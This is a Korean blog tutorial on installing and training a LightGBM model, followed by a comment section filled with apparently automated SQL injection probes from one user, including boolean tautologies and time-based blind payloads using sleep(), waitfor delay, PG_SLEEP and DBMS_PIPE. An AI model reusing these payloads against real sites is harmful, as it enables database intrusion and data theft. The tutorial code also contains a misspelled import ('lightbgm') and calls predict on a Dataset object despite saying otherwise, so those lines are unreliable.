BLOG
인공지능

LightGBM 사용하는 법


Dec. 5, 2022, 11:20 p.m.



Tabular 데이터들을 다룰 때는 보통 딥러닝 보다는 머신러닝 알고리즘을 많이 활용한다. 로지스틱 회귀부터 SVM, 등의 알고리즘이 전통적으로 활용이 많이 되었다. 그러나 요즘에는 부스팅 알고리즘과 앙상블 알고리즘을 훨씬 많이 사용되는 것 같다.

.

아무래도 훨씬 사용하기도 쉽고 성능도 너무 잘 나와주기 때문인 것 같다. 이번 포스팅에서는 부스팅 알고리즘 중 하나인 마이크로소프트에서 개발했다고 알려지는 LightGBM(Light Gradient Boosting Model)을 사용하는 방법에 대해서 알아보도록 하겠다.

.

1. 설치


Light GBM은 말 그대로 가벼운 그래디언트 부스팅 모델이다. 속도는 빠르고 성능은 굉장히 잘 나와준다.

설치는 역시나 pip 를 활용해서 하면 된다.

pip install lightgbm

대부분은 잘 설치가 될 것이다. 가끔 가다가 설치가 안되는 경우가 있다고 하는데 그러면 스택 오버플로우로...

.

2. 사용


사용을 위해서는 먼저 패키지를 임포트 해준다.

import lightgbm as lgbm

.

lgbm에서는 자체의 데이터셋 클래스를 사용한다. 그러므로 학습을 위해서 먼저 lgm.Dataset() 객체를 생성해준다.

train = lgbm.Dataset(X_train, y_train)
test = lgbm.Dataset(X_valid, y_valid)

데이터셋 객체에 X와 y를 차례로 넣어주어 데이터 셋을 생성했다.

.

그 다음에 하이퍼 파라미터들을 정해 주어야 한다. 모델을 선언할 때 넣어주어도 되지만 lgbm은 파라미터의 종류가 굉장히 많아서 선언 할 때 넣어주면 깔끔하지 않다. 그래서 따로 딕셔너리로 선언하는 것을 추천한다.

params = {'objective': 'binary', 'learning_rate': 0.005, 'bagging_freq': 1, 'force_row_wise': True}

.

lgbm의 수많은 파라미터들은 공식 문서에서 확인해 볼 수 있다. 공식 문서

자 이제 모델을 선언할 차례이다. 선언과 동시에 학습을 진행할 수 있다. 모델을 선언 할 때는 파라미터 딕셔너리와 훈련셋, 검증을 넣어주어야 하고 기타 다른 설정들을 할 수 있다.

import lightbgm as lgbm

model = lgbm.train(params=params, train_set=train, num_boost_round=1000, valid_sets=test, verbose_eval=100)

이렇게 하면 학습이 진행되고 완료된 모델이 model에 반환된다.

.

마지막으로 학습된 모델로부터 예측을 얻는 부분이다. .predict() 메서드로 에측을 얻는다. 이때 test는 데이터셋 객체가 아니다.

preds = model.predict(test)

이상으로 아주 간단하게 LightGBM을 사용하는 방법을 알아봤다. 공식 문서에 파라미터를 튜닝하는 팁도 나와있으니 참고하기 바란다.

LightGBM 머신러닝 python


pHqghUme   

555

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

-1 OR 2+489-489-1=0+0+0+1 --

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

-1 OR 2+121-121-1=0+0+0+1

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

-1' OR 2+733-733-1=0+0+0+1 --

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

-1' OR 2+223-223-1=0+0+0+1 or '7MK0mz6z'='

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

-1" OR 2+729-729-1=0+0+0+1 --

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555*if(now()=sysdate(),sleep(15),0)

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555-1; waitfor delay '0:0:15' --

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555-1); waitfor delay '0:0:15' --

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555-1 waitfor delay '0:0:15' --

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555uLPb8taz'; waitfor delay '0:0:15' --

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555-1 OR 806=(SELECT 806 FROM PG_SLEEP(15))--

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555-1) OR 102=(SELECT 102 FROM PG_SLEEP(15))--

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555-1)) OR 976=(SELECT 976 FROM PG_SLEEP(15))--

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555uh5jAdix' OR 496=(SELECT 496 FROM PG_SLEEP(15))--

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555zytU9Gys') OR 572=(SELECT 572 FROM PG_SLEEP(15))--

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555NBH28Wvc')) OR 52=(SELECT 52 FROM PG_SLEEP(15))--

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555'"

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555����%2527%2522\'\"

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

@@nNyZE

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555

Jan. 22, 2025, 7:53 a.m.


pHqghUme   

555

Jan. 22, 2025, 7:53 a.m.



Search